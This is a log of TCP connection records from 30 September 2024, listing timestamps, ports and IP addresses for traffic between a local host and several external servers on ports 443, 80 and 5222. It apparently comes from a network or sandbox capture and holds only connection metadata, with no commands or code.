Sep 30, 2024 12:20:54.575267076 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.575267076 CEST	49923	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.583324909 CEST	5222	49926	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.585163116 CEST	49926	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.585524082 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.585556030 CEST	443	49941	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.585849047 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.586926937 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.586942911 CEST	443	49941	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.617896080 CEST	80	49901	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.619611979 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.631397963 CEST	49936	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.631484985 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.631515980 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.634691000 CEST	49942	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.634764910 CEST	443	49925	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.634846926 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.634874105 CEST	49925	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.636173964 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.636209011 CEST	443	49943	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.636271954 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.637418032 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.637428045 CEST	443	49943	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.638803005 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.639503002 CEST	5222	49942	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.639580011 CEST	49942	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.639791012 CEST	49942	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.643883944 CEST	80	49944	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.645380020 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.645569086 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.646831036 CEST	5222	49942	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.652515888 CEST	80	49944	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.652652979 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.659569025 CEST	80	49944	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.674766064 CEST	443	49927	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.674843073 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.674882889 CEST	49927	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.679409027 CEST	443	49937	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.680779934 CEST	80	49938	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.680802107 CEST	5222	49936	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.693968058 CEST	5222	49929	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.694026947 CEST	49929	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.694763899 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.727494955 CEST	80	49904	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.727554083 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.739413977 CEST	443	49941	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.742784023 CEST	49942	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.743010998 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:54.743321896 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.746994972 CEST	49945	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.747745991 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.747802973 CEST	443	49946	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.747925997 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.749063969 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.749097109 CEST	443	49946	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.749466896 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.751867056 CEST	5222	49945	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.751935959 CEST	49945	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.752219915 CEST	49945	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.754463911 CEST	80	49947	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.754528999 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.754744053 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.757055998 CEST	5222	49945	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.759629965 CEST	80	49947	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.759852886 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.763242006 CEST	443	49930	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.763318062 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.763318062 CEST	49930	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.764682055 CEST	80	49947	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.787406921 CEST	443	49943	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.788786888 CEST	5222	49942	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.792824030 CEST	80	49944	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:54.803755999 CEST	5222	49933	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.803862095 CEST	49933	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.824862957 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.824891090 CEST	443	49948	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.824981928 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.826719999 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.826740026 CEST	443	49948	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.828041077 CEST	443	49932	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.828116894 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.828165054 CEST	49932	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.852694035 CEST	49945	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.852832079 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:54.853600979 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.857697964 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.857733011 CEST	443	49949	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.857794046 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.858119011 CEST	49950	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.860668898 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.863300085 CEST	5222	49950	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.863368988 CEST	49950	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.863632917 CEST	49950	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.864640951 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.864655018 CEST	443	49949	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.865523100 CEST	80	49951	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.865760088 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.865951061 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.868798971 CEST	5222	49950	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.871136904 CEST	80	49951	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.871218920 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.874491930 CEST	443	49935	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.874603987 CEST	443	49935	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.875967026 CEST	80	49951	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:54.876625061 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.876650095 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.876867056 CEST	49935	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.899415970 CEST	443	49946	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.900830984 CEST	80	49947	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.900846004 CEST	5222	49945	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:54.918291092 CEST	5222	49936	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:54.918407917 CEST	49936	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:54.931695938 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:54.963728905 CEST	49950	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.963859081 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:54.964284897 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.969058037 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.969104052 CEST	443	49952	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.969194889 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.969693899 CEST	49953	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.970439911 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.970455885 CEST	443	49952	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.971882105 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.974602938 CEST	5222	49953	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.975425959 CEST	443	49948	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:54.975575924 CEST	49953	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.975837946 CEST	49953	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.976733923 CEST	80	49954	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.976800919 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.977024078 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.980792999 CEST	5222	49953	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.981787920 CEST	80	49954	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:54.985183954 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:54.988089085 CEST	443	49937	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:54.988231897 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.988231897 CEST	49937	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:54.989989042 CEST	80	49954	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.007411957 CEST	443	49949	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.008810043 CEST	5222	49950	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.012974024 CEST	80	49951	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.027667999 CEST	5222	49942	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.028707027 CEST	49942	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.043152094 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.045329094 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.046830893 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.049683094 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.049746990 CEST	443	49955	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.049887896 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.051049948 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.051064968 CEST	443	49955	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.051723957 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.054086924 CEST	80	49907	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.057147026 CEST	49907	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.062290907 CEST	443	49941	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.062366009 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.062381029 CEST	49941	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.074419022 CEST	49953	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.074595928 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.074805975 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.074940920 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.078722000 CEST	49956	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.079432011 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.079467058 CEST	443	49957	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.079524994 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.079601049 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.080779076 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.080796957 CEST	443	49957	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.082612991 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.083659887 CEST	5222	49956	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.083741903 CEST	49956	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.083980083 CEST	49956	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.087519884 CEST	80	49958	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.087590933 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.087790012 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.088954926 CEST	5222	49956	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.092823982 CEST	80	49940	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.092840910 CEST	80	49958	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.092905045 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.097837925 CEST	80	49958	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.101227999 CEST	443	49943	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.101326942 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.101326942 CEST	49943	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.102916002 CEST	80	49910	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.102989912 CEST	49910	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.119410038 CEST	443	49952	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.120891094 CEST	80	49954	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.120925903 CEST	5222	49953	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.130801916 CEST	5222	49945	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.130871058 CEST	49945	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.153558969 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.153620005 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.158797979 CEST	5222	49939	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.158863068 CEST	49939	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.169727087 CEST	49956	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.169802904 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.170221090 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.173414946 CEST	49959	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.174194098 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.174258947 CEST	443	49960	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.174458981 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.175559998 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.175630093 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.175658941 CEST	443	49960	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.179109097 CEST	5222	49959	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.179176092 CEST	49959	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.179491043 CEST	49959	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.180929899 CEST	80	49961	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.181027889 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.181273937 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.184407949 CEST	5222	49959	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.186106920 CEST	80	49961	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.186168909 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.190953016 CEST	80	49961	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.195417881 CEST	443	49955	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.212409019 CEST	443	49946	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.212470055 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.212490082 CEST	49946	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.215408087 CEST	443	49957	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.220784903 CEST	80	49958	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.220809937 CEST	5222	49956	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.224181890 CEST	80	49914	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.224245071 CEST	49914	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.257534981 CEST	5222	49950	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.257617950 CEST	49950	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.267878056 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.267925024 CEST	443	49962	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.267997026 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.269068956 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.269084930 CEST	443	49962	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.280217886 CEST	49959	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.280313969 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.280890942 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.283700943 CEST	49963	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.284148932 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.284172058 CEST	443	49964	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.285581112 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.285607100 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.286640882 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.286652088 CEST	443	49964	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.288528919 CEST	5222	49963	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.288697004 CEST	49963	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.288930893 CEST	49963	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.290644884 CEST	80	49965	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.290992022 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.291192055 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.293993950 CEST	5222	49963	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.295442104 CEST	443	49948	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.295521975 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.295747042 CEST	49948	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.296019077 CEST	80	49965	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.296487093 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.301440954 CEST	80	49965	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.323415995 CEST	443	49960	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.324460983 CEST	443	49949	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.324526072 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.324575901 CEST	49949	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.328751087 CEST	80	49961	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.328767061 CEST	5222	49959	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.332828999 CEST	80	49917	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.332909107 CEST	49917	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.362757921 CEST	5222	49953	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.362870932 CEST	49953	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.375433922 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.391422033 CEST	49963	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.391546011 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.391707897 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.394165993 CEST	49966	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.394901991 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.394970894 CEST	443	49967	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.396070004 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.396106958 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.397203922 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.397219896 CEST	443	49967	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.399028063 CEST	5222	49966	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.399168968 CEST	49966	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.399432898 CEST	49966	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.400892019 CEST	80	49968	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.402038097 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.402268887 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.404293060 CEST	5222	49966	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.407135010 CEST	80	49968	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.409823895 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.414729118 CEST	80	49968	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.423404932 CEST	443	49962	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.439402103 CEST	443	49964	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.440809011 CEST	80	49965	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.440824032 CEST	5222	49963	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.444942951 CEST	80	49921	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.445024967 CEST	49921	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.453603983 CEST	443	49952	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.453696966 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.453717947 CEST	443	49952	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.453735113 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.453782082 CEST	49952	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.470796108 CEST	5222	49956	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.471000910 CEST	49956	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.488915920 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.488929033 CEST	443	49969	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.489006996 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.500323057 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.500339031 CEST	443	49969	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.502731085 CEST	49966	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.502851963 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.503292084 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.506140947 CEST	49970	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.506798029 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.506838083 CEST	443	49971	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.506902933 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.508152962 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.508177996 CEST	443	49971	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.508359909 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.508451939 CEST	443	49955	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.508526087 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.508527040 CEST	49955	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.510931969 CEST	5222	49970	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.511801004 CEST	49970	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.512190104 CEST	49970	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.513211966 CEST	80	49972	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.515007019 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.515234947 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.516952038 CEST	5222	49970	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.520039082 CEST	80	49972	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.520104885 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.524940968 CEST	80	49972	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.537193060 CEST	443	49957	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.537271976 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.538803101 CEST	49957	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.543410063 CEST	443	49967	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.552359104 CEST	80	49924	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.552436113 CEST	49924	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.552757978 CEST	80	49968	66.228.63.21	192.168.2.5
